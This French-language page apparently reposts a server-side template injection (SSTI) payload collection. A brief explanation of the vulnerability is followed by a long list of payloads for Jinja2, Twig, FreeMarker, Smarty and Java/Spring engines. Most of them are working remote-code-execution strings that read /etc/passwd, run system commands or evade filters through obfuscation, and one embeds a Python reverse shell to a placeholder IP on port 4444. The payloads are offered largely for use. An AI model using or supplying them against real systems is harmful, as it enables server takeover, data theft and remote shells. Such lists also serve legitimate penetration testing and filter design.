L'injection de modèle côté serveur est lorsqu'un attaquant est capable d'utiliser la syntaxe du modèle natif pour injecter une charge utile malveillante dans un modèle, qui est ensuite exécuté côté serveur.
Les moteurs de modèle sont conçus pour générer des pages Web en combinant des modèles fixes avec des données volatiles. Les attaques d'injection de modèle côté serveur peuvent se produire lorsque l'entrée de l'utilisateur est concaténée directement dans un modèle, plutôt que transmise sous forme de données. Cela permet aux attaquants d'injecter des directives de modèle arbitraires afin de manipuler le moteur de modèle, leur permettant souvent de prendre le contrôle complet du serveur. Comme son nom l'indique, les charges utiles d'injection de modèle côté serveur sont livrées et évaluées côté serveur, ce qui les rend beaucoup plus dangereux qu'une injection de modèle côté client typique.
Les vulnérabilités d'injection de modèle côté serveur peuvent exposer des sites Web à une variété d'attaques en fonction du moteur de modèle en question et comment l'application l'utilise exactement. Dans certaines circonstances rares, ces vulnérabilités ne présentent aucun risque de sécurité réel. Cependant, la plupart du temps, l'impact de l'injection de modèle côté serveur peut être catastrophique.
À l'extrémité sévère de l'échelle, un attaquant peut potentiellement obtenir une exécution de code distante, en prenant le contrôle total du serveur backend et en l'utilisant pour effectuer d'autres attaques contre l'infrastructure interne.
Même dans les cas où l'exécution complète du code à distance n'est pas possible, un attaquant peut souvent utiliser l'injection de modèle côté serveur comme base de nombreuses autres attaques, potentiellement à l'accès en lecture à des données sensibles et à des fichiers arbitraires sur le serveur.
{{ 2 * 2 }}[[ 3 * 3 ]]
{{ 3 * 3 }}
{{ 3 * '3' }}
< %= 3 * 3 % >
${ 6 * 6 }
${{ 3 * 3 }}
@( 6 + 5 )
#{3*3}
#{ 3 * 3 }
{{ dump ( app )}}
{{ app . request . server . all | join ( ',' )}}
{{ config . items ()}}
{{ []. class . base . subclasses () }}
{{ '' . class . mro ()[ 1 ]. subclasses ()}}
{{ '' . __class__ . __mro__ [ 2 ]. __subclasses__ () }}
{{ '' . __class__ . __base__ . __subclasses__ ()}} # Search for Popen process, use payload below change 227 to index of Popen
{{ '' . __class__ . __base__ . __subclasses__ ()[ 227 ]( 'cat /etc/passwd' , shell = True , stdout = - 1 ). communicate ()}}
{ % for key , value in config . iteritems () % } < dt > {{ key | e }} < / dt > < dd > {{ value | e }} < / dd > { % endfor % }
{{ 'a' . toUpperCase ()}}
{{ request }}
{{ self }}
< %= File . open ( '/etc/passwd' ). read % >
< #assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[ #assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${ "freemarker.template.utility.Execute" ? new ()( "id" )}
{{ app . request . query . filter ( 0 , 0 , 1024 ,{ 'options' : 'system' })}}
{{ '' . __class__ . __mro__ [ 2 ]. __subclasses__ ()[ 40 ]( '/etc/passwd' ). read () }}
{{ config . items ()[ 4 ][ 1 ]. __class__ . __mro__ [ 2 ]. __subclasses__ ()[ 40 ]( "/etc/passwd" ). read () }}
{{ '' . __class__ . mro ()[ 1 ]. __subclasses__ ()[ 396 ]( 'cat /etc/passwd' , shell = True , stdout = - 1 ). communicate ()[ 0 ]. strip ()}}
{{ config . __class__ . __init__ . __globals__ [ 'os' ]. popen ( 'ls' ). read ()}}
{ % for x in (). __class__ . __base__ . __subclasses__ () % }{ % if "warning" in x . __name__ % }{{ x (). _module . __builtins__ [ '__import__' ]( 'os' ). popen ( request . args . input ). read ()}}{ % endif % }{ % endfor % }
{$ smarty . version }
{ php } echo `id` ;{ / php }
{{[ 'id' ] | filter ( 'system' )}}
{{[ 'cat x20 /etc/passwd' ] | filter ( 'system' )}}
{{[ 'cat$IFS/etc/passwd' ] | filter ( 'system' )}}
{{ request | attr ([ request . args . usc * 2 , request . args . class , request . args . usc * 2 ] | join )}}
{{ request | attr ([ "_" * 2 , "class" , "_" * 2 ] | join )}}
{{ request | attr ([ "__" , "class" , "__" ] | join )}}
{{ request | attr ( "__class__" )}}
{{ request . __class__ }}
{{ request | attr ( 'application' ) | attr ( ' x5f x5f globals x5f x5f ' ) | attr ( ' x5f x5f getitem x5f x5f ' )( ' x5f x5f builtins x5f x5f ' ) | attr ( ' x5f x5f getitem x5f x5f ' )( ' x5f x5f import x5f x5f ' )( 'os' ) | attr ( 'popen' )( 'id' ) | attr ( 'read' )()}}
{{ 'a' . getClass (). forName ( 'javax.script.ScriptEngineManager' ). newInstance (). getEngineByName ( 'JavaScript' ). eval ( " new java . lang . String ( 'xxx' ) " )}}
{{ 'a' . getClass (). forName ( 'javax.script.ScriptEngineManager' ). newInstance (). getEngineByName ( 'JavaScript' ). eval ( " var x = new java . lang . ProcessBuilder ; x . command ( \ " whoami \ " ); x . start () " )}}
{{ 'a' . getClass (). forName ( 'javax.script.ScriptEngineManager' ). newInstance (). getEngineByName ( 'JavaScript' ). eval ( " var x = new java . lang . ProcessBuilder ; x . command ( \ " netstat \ " ); org . apache . commons . io . IOUtils . toString ( x . start (). getInputStream ()) " )}}
{{ 'a' . getClass (). forName ( 'javax.script.ScriptEngineManager' ). newInstance (). getEngineByName ( 'JavaScript' ). eval ( " var x = new java . lang . ProcessBuilder ; x . command ( \ " uname \ " , \ " - a \ " ); org . apache . commons . io . IOUtils . toString ( x . start (). getInputStream ()) " )}}
{ % for x in (). __class__ . __base__ . __subclasses__ () % }{ % if "warning" in x . __name__ % }{{ x (). _module . __builtins__ [ '__import__' ]( 'os' ). popen ( "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(( " ip " ,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([ " /bin/cat " , " /etc/passwd " ]);'" ). read (). zfill ( 417 )}}{ % endif % }{ % endfor % }
${ T ( java . lang . System ). getenv ()}
${ T ( java . lang . Runtime ). getRuntime (). exec ( 'cat etc/passwd' )}
${ T ( org . apache . commons . io . IOUtils ). toString ( T ( java . lang . Runtime ). getRuntime (). exec ( T ( java . lang . Character ). toString ( 99 ). concat ( T ( java . lang . Character ). toString ( 97 )). concat ( T ( java . lang . Character ). toString ( 116 )). concat ( T ( java . lang . Character ). toString ( 32 )). concat ( T ( java . lang . Character ). toString ( 47 )). concat ( T ( java . lang . Character ). toString ( 101 )). concat ( T ( java . lang . Character ). toString ( 116 )). concat ( T ( java . lang . Character ). toString ( 99 )). concat ( T ( java . lang . Character ). toString ( 47 )). concat ( T ( java . lang . Character ). toString ( 112 )). concat ( T ( java . lang . Character ). toString ( 97 )). concat ( T ( java . lang . Character ). toString ( 115 )). concat ( T ( java . lang . Character ). toString ( 115 )). concat ( T ( java . lang . Character ). toString ( 119 )). concat ( T ( java . lang . Character ). toString ( 100 ))). getInputStream ())} root@ismailtasdelen:~# git clone https://github.com/payloadbox/ssti-payloads.git
root@ismailtasdelen:~# git clone [email protected]:payloadbox/ssti-payloads.git
Soutenir les auteurs: